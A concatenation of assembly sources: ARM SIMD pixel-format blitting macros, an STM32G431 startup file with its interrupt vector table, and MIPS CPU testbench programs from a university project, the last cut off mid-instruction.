.endif .endm .macro ARGBto565PixelAlpha_process_tail cond, numbytes, firstreg .if numbytes >= 4 ARGBto565PixelAlpha_2pixels_tail .else // numbytes == 2 beq 20f @ all transparent cmp WK0, #0xff000000 bhs 10f @ opaque ARGBto565PixelAlpha_1pixel_translucent WK0, WK2, MASK, STRIDE_M, STRIDE_S, STRIDE_D, WK3, SCRATCH, ORIG_W b 19f 10: ARGBto565PixelAlpha_1pixel_opaque WK0, WK2, MASK 19: strh WK2, [DST, #-2] 20: .endif .endm generate_composite_function \ BlitARGBto565PixelAlphaARMSIMDAsm, 32, 0, 16, \ FLAG_DST_READWRITE | FLAG_BRANCH_OVER | FLAG_PROCESS_CORRUPTS_PSR | FLAG_PROCESS_DOES_STORE | FLAG_SPILL_LINE_VARS | FLAG_PROCESS_CORRUPTS_WK0, \ 2, /* prefetch distance */ \ ARGBto565PixelAlpha_init, \ ARGBto565PixelAlpha_newline, \ nop_macro, /* cleanup */ \ ARGBto565PixelAlpha_process_head, \ ARGBto565PixelAlpha_process_tail /******************************************************************************/ .macro BGR888toRGB888_1pixel cond, reg, tmp uxtb16&cond tmp, WK&reg, ror #8 uxtb16&cond WK&reg, WK&reg, ror #16 orr&cond WK&reg, WK&reg, tmp, lsl #8 .endm .macro BGR888toRGB888_2pixels cond, reg1, reg2, tmp1, tmp2 uxtb16&cond tmp1, WK&reg1, ror #8 uxtb16&cond WK&reg1, WK&reg1, ror #16 uxtb16&cond tmp2, WK&reg2, ror #8 uxtb16&cond WK&reg2, WK&reg2, ror #16 orr&cond WK&reg1, WK&reg1, tmp1, lsl #8 orr&cond WK&reg2, WK&reg2, tmp2, lsl #8 .endm .macro BGR888toRGB888_process_head cond, numbytes, firstreg, unaligned_src, unaligned_mask, preload pixld cond, numbytes, firstreg, SRC, unaligned_src .endm .macro BGR888toRGB888_process_tail cond, numbytes, firstreg .if numbytes >= 8 BGR888toRGB888_2pixels cond, %(firstreg+0), %(firstreg+1), MASK, STRIDE_M .if numbytes == 16 BGR888toRGB888_2pixels cond, %(firstreg+2), %(firstreg+3), MASK, STRIDE_M .endif .else @ numbytes == 4 BGR888toRGB888_1pixel cond, %(firstreg+0), MASK .endif .endm generate_composite_function \ Blit_BGR888_RGB888ARMSIMDAsm, 32, 0, 32, \ FLAG_DST_WRITEONLY | FLAG_COND_EXEC | FLAG_PROCESS_PRESERVES_SCRATCH, \ 2, /* prefetch distance */ \ nop_macro, /* init */ \ nop_macro, /* newline */ \ nop_macro, /* cleanup */ \ BGR888toRGB888_process_head, \ BGR888toRGB888_process_tail /******************************************************************************/ .macro RGB444toRGB888_init ldr MASK, =0x0f0f0f0f /* Set GE[3:0] to 0101 so SEL instructions do what we want */ msr CPSR_s, #0x50000 .endm .macro RGB444toRGB888_1pixel reg, mask, tmp pkhbt WK&reg, WK&reg, WK&reg, lsl #12 @ 0000aaaarrrrggggaaaarrrrggggbbbb and WK&reg, mask, WK&reg @ 0000aaaa0000gggg0000rrrr0000bbbb orr WK&reg, WK&reg, WK&reg, lsl #4 @ aaaaaaaaggggggggrrrrrrrrbbbbbbbb pkhtb tmp, WK&reg, WK&reg, asr #8 @ aaaaaaaaggggggggggggggggrrrrrrrr pkhbt WK&reg, WK&reg, WK&reg, lsl #8 @ ggggggggrrrrrrrrrrrrrrrrbbbbbbbb sel WK&reg, WK&reg, tmp @ aaaaaaaarrrrrrrrggggggggbbbbbbbb .endm .macro RGB444toRGB888_2pixels in, out1, out2, mask, tmp1, tmp2 and tmp1, mask, WK&in @ 0000RRRR0000BBBB0000rrrr0000bbbb and tmp2, mask, WK&in, lsr #4 @ 0000AAAA0000GGGG0000aaaa0000gggg orr tmp1, tmp1, tmp1, lsl #4 @ RRRRRRRRBBBBBBBBrrrrrrrrbbbbbbbb orr tmp2, tmp2, tmp2, lsl #4 @ AAAAAAAAGGGGGGGGaaaaaaaagggggggg pkhtb WK&out2, tmp2, tmp1, asr #16 @ AAAAAAAAGGGGGGGGRRRRRRRRBBBBBBBB pkhbt WK&out1, tmp1, tmp2, lsl #16 @ aaaaaaaaggggggggrrrrrrrrbbbbbbbb pkhtb tmp2, WK&out2, WK&out2, asr #8 @ AAAAAAAAGGGGGGGGGGGGGGGGRRRRRRRR pkhtb tmp1, WK&out1, WK&out1, asr #8 @ aaaaaaaaggggggggggggggggrrrrrrrr pkhbt WK&out1, WK&out1, WK&out1, lsl #8 @ ggggggggrrrrrrrrrrrrrrrrbbbbbbbb pkhbt WK&out2, WK&out2, WK&out2, lsl #8 @ GGGGGGGGRRRRRRRRRRRRRRRRBBBBBBBB sel WK&out1, WK&out1, tmp1 @ aaaaaaaarrrrrrrrggggggggbbbbbbbb sel WK&out2, WK&out2, tmp2 @ AAAAAAAARRRRRRRRGGGGGGGGBBBBBBBB .endm .macro RGB444toRGB888_process_head cond, numbytes, firstreg, unaligned_src, unaligned_mask, preload pixld cond, numbytes/2, firstreg, SRC, unaligned_src .endm .macro RGB444toRGB888_process_tail cond, numbytes, firstreg .if numbytes >= 8 .if numbytes == 16 RGB444toRGB888_2pixels %(firstreg+1), %(firstreg+2), %(firstreg+3), MASK, STRIDE_M, SCRATCH .endif RGB444toRGB888_2pixels %(firstreg+0), %(firstreg+0), %(firstreg+1), MASK, STRIDE_M, SCRATCH .else @ numbytes == 4 RGB444toRGB888_1pixel %(firstreg+0), MASK, SCRATCH .endif .endm generate_composite_function \ Blit_RGB444_RGB888ARMSIMDAsm, 16, 0, 32, \ FLAG_DST_WRITEONLY | FLAG_BRANCH_OVER, \ 2, /* prefetch distance */ \ RGB444toRGB888_init, \ nop_macro, /* newline */ \ nop_macro, /* cleanup */ \ RGB444toRGB888_process_head, \ RGB444toRGB888_process_tail

2023violet/FalconFoc

19,264

2.Firmware/FalconFoc/MDK-ARM/startup_stm32g431xx.s

;******************************************************************************* ;* @File Name : startup_stm32g431xx.s ;* @Author : MCD Application Team ;* @Brief : Vector table for MDK-ARM toolchain ;******************************************************************************* ;* Description : STM32G431xx Mainstream devices vector table for ;* MDK-ARM toolchain. ;* This module performs: ;* - Set the initial SP ;* - Set the initial PC == Reset_Handler ;* - Set the vector table entries with the exceptions ISR address ;* - Branches to __main in the C library (which eventually ;* calls main()). ;* After Reset the Cortex-M4 processor is in Thread mode, ;* priority is Privileged, and the Stack is set to Main. ;******************************************************************************** ;* @attention ;* ;* Copyright (c) 2019 STMicroelectronics. ;* All rights reserved. ;* ;* This software is licensed under terms that can be found in the LICENSE file ;* in the root directory of this software component. ;* If no LICENSE file comes with this software, it is provided AS-IS. ; ;******************************************************************************* ;* <<< Use Configuration Wizard in Context Menu >>> ; ; Amount of memory (in bytes) allocated for Stack ; Tailor this value to your application needs ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x1000 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x3000 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD MemManage_Handler ; MPU Fault Handler DCD BusFault_Handler ; Bus Fault Handler DCD UsageFault_Handler ; Usage Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD DebugMon_Handler ; Debug Monitor Handler DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WWDG_IRQHandler ; Window WatchDog DCD PVD_PVM_IRQHandler ; PVD/PVM1/PVM2/PVM3/PVM4 through EXTI Line detection DCD RTC_TAMP_LSECSS_IRQHandler ; RTC, TAMP and RCC LSE_CSS through the EXTI line DCD RTC_WKUP_IRQHandler ; RTC Wakeup through the EXTI line DCD FLASH_IRQHandler ; FLASH DCD RCC_IRQHandler ; RCC DCD EXTI0_IRQHandler ; EXTI Line0 DCD EXTI1_IRQHandler ; EXTI Line1 DCD EXTI2_IRQHandler ; EXTI Line2 DCD EXTI3_IRQHandler ; EXTI Line3 DCD EXTI4_IRQHandler ; EXTI Line4 DCD DMA1_Channel1_IRQHandler ; DMA1 Channel 1 DCD DMA1_Channel2_IRQHandler ; DMA1 Channel 2 DCD DMA1_Channel3_IRQHandler ; DMA1 Channel 3 DCD DMA1_Channel4_IRQHandler ; DMA1 Channel 4 DCD DMA1_Channel5_IRQHandler ; DMA1 Channel 5 DCD DMA1_Channel6_IRQHandler ; DMA1 Channel 6 DCD 0 ; Reserved DCD ADC1_2_IRQHandler ; ADC1 and ADC2 DCD USB_HP_IRQHandler ; USB Device High Priority DCD USB_LP_IRQHandler ; USB Device Low Priority DCD FDCAN1_IT0_IRQHandler ; FDCAN1 interrupt line 0 DCD FDCAN1_IT1_IRQHandler ; FDCAN1 interrupt line 1 DCD EXTI9_5_IRQHandler ; External Line[9:5]s DCD TIM1_BRK_TIM15_IRQHandler ; TIM1 Break, Transition error, Index error and TIM15 DCD TIM1_UP_TIM16_IRQHandler ; TIM1 Update and TIM16 DCD TIM1_TRG_COM_TIM17_IRQHandler ; TIM1 Trigger, Commutation, Direction change, Index and TIM17 DCD TIM1_CC_IRQHandler ; TIM1 Capture Compare DCD TIM2_IRQHandler ; TIM2 DCD TIM3_IRQHandler ; TIM3 DCD TIM4_IRQHandler ; TIM4 DCD I2C1_EV_IRQHandler ; I2C1 Event DCD I2C1_ER_IRQHandler ; I2C1 Error DCD I2C2_EV_IRQHandler ; I2C2 Event DCD I2C2_ER_IRQHandler ; I2C2 Error DCD SPI1_IRQHandler ; SPI1 DCD SPI2_IRQHandler ; SPI2 DCD USART1_IRQHandler ; USART1 DCD USART2_IRQHandler ; USART2 DCD USART3_IRQHandler ; USART3 DCD EXTI15_10_IRQHandler ; External Line[15:10] DCD RTC_Alarm_IRQHandler ; RTC Alarm (A and B) through EXTI Line DCD USBWakeUp_IRQHandler ; USB Wakeup through EXTI line DCD TIM8_BRK_IRQHandler ; TIM8 Break, Transition error and Index error Interrupt DCD TIM8_UP_IRQHandler ; TIM8 Update Interrupt DCD TIM8_TRG_COM_IRQHandler ; TIM8 Trigger, Commutation, Direction change and Index Interrupt DCD TIM8_CC_IRQHandler ; TIM8 Capture Compare Interrupt DCD 0 ; Reserved DCD 0 ; Reserved DCD LPTIM1_IRQHandler ; LP TIM1 interrupt DCD 0 ; Reserved DCD SPI3_IRQHandler ; SPI3 DCD UART4_IRQHandler ; UART4 DCD 0 ; Reserved DCD TIM6_DAC_IRQHandler ; TIM6 and DAC1&3 underrun errors DCD TIM7_IRQHandler ; TIM7 DCD DMA2_Channel1_IRQHandler ; DMA2 Channel 1 DCD DMA2_Channel2_IRQHandler ; DMA2 Channel 2 DCD DMA2_Channel3_IRQHandler ; DMA2 Channel 3 DCD DMA2_Channel4_IRQHandler ; DMA2 Channel 4 DCD DMA2_Channel5_IRQHandler ; DMA2 Channel 5 DCD 0 ; Reserved DCD 0 ; Reserved DCD UCPD1_IRQHandler ; UCPD1 DCD COMP1_2_3_IRQHandler ; COMP1, COMP2 and COMP3 DCD COMP4_IRQHandler ; COMP4 DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD CRS_IRQHandler ; CRS Interrupt DCD SAI1_IRQHandler ; Serial Audio Interface 1 global interrupt DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD FPU_IRQHandler ; FPU DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD RNG_IRQHandler ; RNG global interrupt DCD LPUART1_IRQHandler ; LP UART 1 interrupt DCD I2C3_EV_IRQHandler ; I2C3 Event DCD I2C3_ER_IRQHandler ; I2C3 Error DCD DMAMUX_OVR_IRQHandler ; DMAMUX overrun global interrupt DCD 0 ; Reserved DCD 0 ; Reserved DCD DMA2_Channel6_IRQHandler ; DMA2 Channel 6 DCD 0 ; Reserved DCD 0 ; Reserved DCD CORDIC_IRQHandler ; CORDIC DCD FMAC_IRQHandler ; FMAC __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA |.text|, CODE, READONLY ; Reset handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP MemManage_Handler\ PROC EXPORT MemManage_Handler [WEAK] B . ENDP BusFault_Handler\ PROC EXPORT BusFault_Handler [WEAK] B . ENDP UsageFault_Handler\ PROC EXPORT UsageFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP DebugMon_Handler\ PROC EXPORT DebugMon_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WWDG_IRQHandler [WEAK] EXPORT PVD_PVM_IRQHandler [WEAK] EXPORT RTC_TAMP_LSECSS_IRQHandler [WEAK] EXPORT RTC_WKUP_IRQHandler [WEAK] EXPORT FLASH_IRQHandler [WEAK] EXPORT RCC_IRQHandler [WEAK] EXPORT EXTI0_IRQHandler [WEAK] EXPORT EXTI1_IRQHandler [WEAK] EXPORT EXTI2_IRQHandler [WEAK] EXPORT EXTI3_IRQHandler [WEAK] EXPORT EXTI4_IRQHandler [WEAK] EXPORT DMA1_Channel1_IRQHandler [WEAK] EXPORT DMA1_Channel2_IRQHandler [WEAK] EXPORT DMA1_Channel3_IRQHandler [WEAK] EXPORT DMA1_Channel4_IRQHandler [WEAK] EXPORT DMA1_Channel5_IRQHandler [WEAK] EXPORT DMA1_Channel6_IRQHandler [WEAK] EXPORT ADC1_2_IRQHandler [WEAK] EXPORT USB_HP_IRQHandler [WEAK] EXPORT USB_LP_IRQHandler [WEAK] EXPORT FDCAN1_IT0_IRQHandler [WEAK] EXPORT FDCAN1_IT1_IRQHandler [WEAK] EXPORT EXTI9_5_IRQHandler [WEAK] EXPORT TIM1_BRK_TIM15_IRQHandler [WEAK] EXPORT TIM1_UP_TIM16_IRQHandler [WEAK] EXPORT TIM1_TRG_COM_TIM17_IRQHandler [WEAK] EXPORT TIM1_CC_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT TIM3_IRQHandler [WEAK] EXPORT TIM4_IRQHandler [WEAK] EXPORT I2C1_EV_IRQHandler [WEAK] EXPORT I2C1_ER_IRQHandler [WEAK] EXPORT I2C2_EV_IRQHandler [WEAK] EXPORT I2C2_ER_IRQHandler [WEAK] EXPORT SPI1_IRQHandler [WEAK] EXPORT SPI2_IRQHandler [WEAK] EXPORT USART1_IRQHandler [WEAK] EXPORT USART2_IRQHandler [WEAK] EXPORT USART3_IRQHandler [WEAK] EXPORT EXTI15_10_IRQHandler [WEAK] EXPORT RTC_Alarm_IRQHandler [WEAK] EXPORT USBWakeUp_IRQHandler [WEAK] EXPORT TIM8_BRK_IRQHandler [WEAK] EXPORT TIM8_UP_IRQHandler [WEAK] EXPORT TIM8_TRG_COM_IRQHandler [WEAK] EXPORT TIM8_CC_IRQHandler [WEAK] EXPORT LPTIM1_IRQHandler [WEAK] EXPORT SPI3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT TIM6_DAC_IRQHandler [WEAK] EXPORT TIM7_IRQHandler [WEAK] EXPORT DMA2_Channel1_IRQHandler [WEAK] EXPORT DMA2_Channel2_IRQHandler [WEAK] EXPORT DMA2_Channel3_IRQHandler [WEAK] EXPORT DMA2_Channel4_IRQHandler [WEAK] EXPORT DMA2_Channel5_IRQHandler [WEAK] EXPORT UCPD1_IRQHandler [WEAK] EXPORT COMP1_2_3_IRQHandler [WEAK] EXPORT COMP4_IRQHandler [WEAK] EXPORT CRS_IRQHandler [WEAK] EXPORT SAI1_IRQHandler [WEAK] EXPORT FPU_IRQHandler [WEAK] EXPORT RNG_IRQHandler [WEAK] EXPORT LPUART1_IRQHandler [WEAK] EXPORT I2C3_EV_IRQHandler [WEAK] EXPORT I2C3_ER_IRQHandler [WEAK] EXPORT DMAMUX_OVR_IRQHandler [WEAK] EXPORT DMA2_Channel6_IRQHandler [WEAK] EXPORT CORDIC_IRQHandler [WEAK] EXPORT FMAC_IRQHandler [WEAK] WWDG_IRQHandler PVD_PVM_IRQHandler RTC_TAMP_LSECSS_IRQHandler RTC_WKUP_IRQHandler FLASH_IRQHandler RCC_IRQHandler EXTI0_IRQHandler EXTI1_IRQHandler EXTI2_IRQHandler EXTI3_IRQHandler EXTI4_IRQHandler DMA1_Channel1_IRQHandler DMA1_Channel2_IRQHandler DMA1_Channel3_IRQHandler DMA1_Channel4_IRQHandler DMA1_Channel5_IRQHandler DMA1_Channel6_IRQHandler ADC1_2_IRQHandler USB_HP_IRQHandler USB_LP_IRQHandler FDCAN1_IT0_IRQHandler FDCAN1_IT1_IRQHandler EXTI9_5_IRQHandler TIM1_BRK_TIM15_IRQHandler TIM1_UP_TIM16_IRQHandler TIM1_TRG_COM_TIM17_IRQHandler TIM1_CC_IRQHandler TIM2_IRQHandler TIM3_IRQHandler TIM4_IRQHandler I2C1_EV_IRQHandler I2C1_ER_IRQHandler I2C2_EV_IRQHandler I2C2_ER_IRQHandler SPI1_IRQHandler SPI2_IRQHandler USART1_IRQHandler USART2_IRQHandler USART3_IRQHandler EXTI15_10_IRQHandler RTC_Alarm_IRQHandler USBWakeUp_IRQHandler TIM8_BRK_IRQHandler TIM8_UP_IRQHandler TIM8_TRG_COM_IRQHandler TIM8_CC_IRQHandler LPTIM1_IRQHandler SPI3_IRQHandler UART4_IRQHandler TIM6_DAC_IRQHandler TIM7_IRQHandler DMA2_Channel1_IRQHandler DMA2_Channel2_IRQHandler DMA2_Channel3_IRQHandler DMA2_Channel4_IRQHandler DMA2_Channel5_IRQHandler UCPD1_IRQHandler COMP1_2_3_IRQHandler COMP4_IRQHandler CRS_IRQHandler SAI1_IRQHandler FPU_IRQHandler RNG_IRQHandler LPUART1_IRQHandler I2C3_EV_IRQHandler I2C3_ER_IRQHandler DMAMUX_OVR_IRQHandler DMA2_Channel6_IRQHandler CORDIC_IRQHandler FMAC_IRQHandler B . ENDP ALIGN ;******************************************************************************* ; User Stack and Heap initialization ;******************************************************************************* IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ALIGN ENDIF END

25th-engineer/HFUT_2020_MIPS_CPU

4,243

TESTBENCH/ax3.s

.org 0x0 .set noat .set noreorder #不进行指令调度 .set nomacro .global __start __start: # 注意，MIPS编译时，会将rs和rt的二进制位置互换，写法上是rt,rs，指令码是opcode rs rt(写入rt) # 用ori指令作为开始标志 # start code # ori $0, $0, 0x0000 # 3400 0000 # 此处开始书写代码 .org 0x0000 ori $0, $0, 0x0000 # 真正的代码 lw $1, 8188($0) li $2, 1370698181 addu $2, $1, $2 li $3, 624781182 li $4, -1346036914 multu $2, $3 li $22, -928840339 addu $24, $22, $2 nop nop sllv $24, $22, $0 beq $24, $22, skip0 nop addiu $2, $2, 27222 skip0: sw $2, 0($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $25, 1594176031 addu $10, $25, $2 nop addu $10, $25, $0 nop bne $10, $25, skip1 nop addiu $2, $2, 31929 skip1: sw $2, 4($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $25, -2119359507 addu $11, $25, $2 xor $11, $25, $0 nop nop beq $11, $25, skip2 nop addiu $2, $2, 3010 skip2: sw $2, 8($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $19, 1297194016 addu $14, $19, $2 nop nop xor $14, $19, $0 beq $14, $19, skip3 nop addiu $2, $2, 29169 skip3: sw $2, 12($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $23, 1553809414 addu $24, $23, $0 nop or $24, $23, $2 nop beq $24, $23, skip4 nop addiu $2, $2, 6765 skip4: sw $2, 16($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $11, 1462873855 addu $25, $11, $2 subu $25, $11, $0 nop nop beq $25, $11, skip5 nop addiu $2, $2, 24212 skip5: sw $2, 20($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $21, -1935796249 addu $29, $21, $0 nop nop or $29, $21, $2 beq $29, $21, skip6 nop addiu $2, $2, 20534 skip6: sw $2, 24($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $8, 600920159 addu $10, $8, $0 nop sllv $10, $8, $2 nop beq $10, $8, skip7 nop addiu $2, $2, 18367 skip7: sw $2, 28($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $10, 245016401 addu $16, $10, $0 or $16, $10, $2 nop nop bne $16, $10, skip8 nop addiu $2, $2, 1554 skip8: sw $2, 32($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $25, 1977109191 addiu $20, $25, 0 nop nop addiu $20, $25, 9834 beq $25, $20, skip9 nop nor $2, $2, $25 skip9: sw $2, 36($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $24, -1206068049 addiu $13, $24, 0 nop addiu $13, $24, 28753 nop beq $24, $13, skip10 nop nor $2, $2, $24 skip10: sw $2, 40($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $21, 2080420061 addiu $7, $21, 0 srl $7, $21, 1 nop nop beq $21, $7, skip11 nop nor $2, $2, $21 skip11: sw $2, 44($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $24, -791642528 addiu $22, $24, 0 nop nop xori $22, $24, 6438 bne $24, $22, skip12 nop nor $2, $2, $24 skip12: sw $2, 48($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $8, -911568785 addiu $22, $8, 0 nop addiu $22, $8, 17950 nop beq $8, $22, skip13 nop nor $2, $2, $8 skip13: sw $2, 52($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $21, 426530782 addiu $8, $21, 6622 ori $8, $21, 23640 nop nop bne $21, $8, skip14 nop nor $2, $2, $21 skip14: sw $2, 56($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $18, 704083205 addiu $19, $18, 28241 nop nop sll $19, $18, 14 beq $18, $19, skip15 nop nor $2, $2, $18 skip15: sw $2, 60($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $15, 1322704609 addiu $11, $15, 0 nop addiu $11, $15, 25990 nop beq $15, $11, skip16 nop nor $2, $2, $15 skip16: sw $2, 64($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $29, -1891138629 addiu $25, $29, 1450 sll $25, $29, 26 nop nop bne $29, $25, skip17 nop nor $2, $2, $29 skip17: sw $2, 68($0) mflo $2 addu $2, $2, $4 addu $28, $2, $8 lui $8, 64451 lui $28, 64451 nop beg18: beq $8, $28, skip18 addu $8, $0, $0 beq $0, $0, beg18 subu $28, $28, $28 skip18: sw $28, 72($0) lui $8, 64451 nop lui $28, 19666 beg19: bne $8, $28, skip19 addu $28, $0, $0 beq $1, $1, beg19 addu $8, $28, $2 skip19: sw $8, 76($0) li $30, -1602503051 mthi $30 li $30, -1602503051 li $23, 523843457 nop nop mfhi $23 beq $30, $23, skip20 nop sw $30, 80($0) skip20: li $13, -1153218862 mtlo $13 li $13, -1153218862 li $7, 638425955 nop mflo $7 nop bne $13, $7, skip21 nop sw $13, 84($0) skip21: li $23, -1501334171 mthi $23 li $23, -1501334171 li $8, -376855767 mfhi $8 # end code # 3400 0000 3400 0000 ori $0, $0, 0x0000 ori $0, $0, 0x0000

25th-engineer/HFUT_2020_MIPS_CPU

13,032

TESTBENCH/testbench_wh_2.s

.org 0x0 .set noat .set noreorder #不进行指令调度 .set nomacro .global __start __start: # 注意，MIPS编译时，会将rs和rt的二进制位置互换，写法上是rt,rs，指令码是opcode rs rt(写入rt) # 用ori指令作为开始标志 # start code # ori $0, $0, 0x0000 # 3400 0000 # 此处开始书写代码 .org 0x0000 ori $0, $0, 0x0000 # 真正的代码 lw $1, 8188($0) li $2, 1370698181 addu $2, $1, $2 li $3, 624781182 li $4, -1346036914 multu $2, $3 li $22, -928840339 addu $24, $22, $2 nop nop sllv $24, $22, $0 beq $24, $22, skip0 nop addiu $2, $2, 27222 skip0: sw $2, 0($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $25, 1594176031 addu $10, $25, $2 nop addu $10, $25, $0 nop bne $10, $25, skip1 nop addiu $2, $2, 31929 skip1: sw $2, 4($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $25, -2119359507 addu $11, $25, $2 xor $11, $25, $0 nop nop beq $11, $25, skip2 nop addiu $2, $2, 3010 skip2: sw $2, 8($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $19, 1297194016 addu $14, $19, $2 nop nop xor $14, $19, $0 beq $14, $19, skip3 nop addiu $2, $2, 29169 skip3: sw $2, 12($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $23, 1553809414 addu $24, $23, $0 nop or $24, $23, $2 nop beq $24, $23, skip4 nop addiu $2, $2, 6765 skip4: sw $2, 16($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $11, 1462873855 addu $25, $11, $2 subu $25, $11, $0 nop nop beq $25, $11, skip5 nop addiu $2, $2, 24212 skip5: sw $2, 20($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $21, -1935796249 addu $29, $21, $0 nop nop or $29, $21, $2 beq $29, $21, skip6 nop addiu $2, $2, 20534 skip6: sw $2, 24($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $8, 600920159 addu $10, $8, $0 nop sllv $10, $8, $2 nop beq $10, $8, skip7 nop addiu $2, $2, 18367 skip7: sw $2, 28($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $10, 245016401 addu $16, $10, $0 or $16, $10, $2 nop nop bne $16, $10, skip8 nop addiu $2, $2, 1554 skip8: sw $2, 32($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $25, 1977109191 addiu $20, $25, 0 nop nop addiu $20, $25, 9834 beq $25, $20, skip9 nop nor $2, $2, $25 skip9: sw $2, 36($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $24, -1206068049 addiu $13, $24, 0 nop addiu $13, $24, 28753 nop beq $24, $13, skip10 nop nor $2, $2, $24 skip10: sw $2, 40($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $21, 2080420061 addiu $7, $21, 0 srl $7, $21, 1 nop nop beq $21, $7, skip11 nop nor $2, $2, $21 skip11: sw $2, 44($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $24, -791642528 addiu $22, $24, 0 nop nop xori $22, $24, 6438 bne $24, $22, skip12 nop nor $2, $2, $24 skip12: sw $2, 48($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $8, -911568785 addiu $22, $8, 0 nop addiu $22, $8, 17950 nop beq $8, $22, skip13 nop nor $2, $2, $8 skip13: sw $2, 52($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $21, 426530782 addiu $8, $21, 6622 ori $8, $21, 23640 nop nop bne $21, $8, skip14 nop nor $2, $2, $21 skip14: sw $2, 56($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $18, 704083205 addiu $19, $18, 28241 nop nop sll $19, $18, 14 beq $18, $19, skip15 nop nor $2, $2, $18 skip15: sw $2, 60($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $15, 1322704609 addiu $11, $15, 0 nop addiu $11, $15, 25990 nop beq $15, $11, skip16 nop nor $2, $2, $15 skip16: sw $2, 64($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $29, -1891138629 addiu $25, $29, 1450 sll $25, $29, 26 nop nop bne $29, $25, skip17 nop nor $2, $2, $29 skip17: sw $2, 68($0) mflo $2 addu $2, $2, $4 addu $28, $2, $8 lui $8, 64451 lui $28, 64451 nop beg18: beq $8, $28, skip18 addu $8, $0, $0 beq $0, $0, beg18 subu $28, $28, $28 skip18: sw $28, 72($0) lui $8, 64451 nop lui $28, 19666 beg19: bne $8, $28, skip19 addu $28, $0, $0 beq $1, $1, beg19 addu $8, $28, $2 skip19: sw $8, 76($0) li $30, -1602503051 mthi $30 li $30, -1602503051 li $23, 523843457 nop nop mfhi $23 beq $30, $23, skip20 nop sw $30, 80($0) skip20: li $13, -1153218862 mtlo $13 li $13, -1153218862 li $7, 638425955 nop mflo $7 nop bne $13, $7, skip21 nop sw $13, 84($0) skip21: li $23, -1501334171 mthi $23 li $23, -1501334171 li $8, -376855767 mfhi $8 nop nop beq $23, $8, skip22 nop sw $23, 88($0) skip22: li $10, -986694283 sw $10, 92($0) subu $22, $10, $0 nop nop lh $22, 92($0) beq $10, $22, skip23 nop multu $2, $3 skip23: mflo $2 addu $2, $2, $4 li $16, 1549811405 sw $16, 96($0) subu $24, $16, $2 nop lw $24, 96($0) nop bne 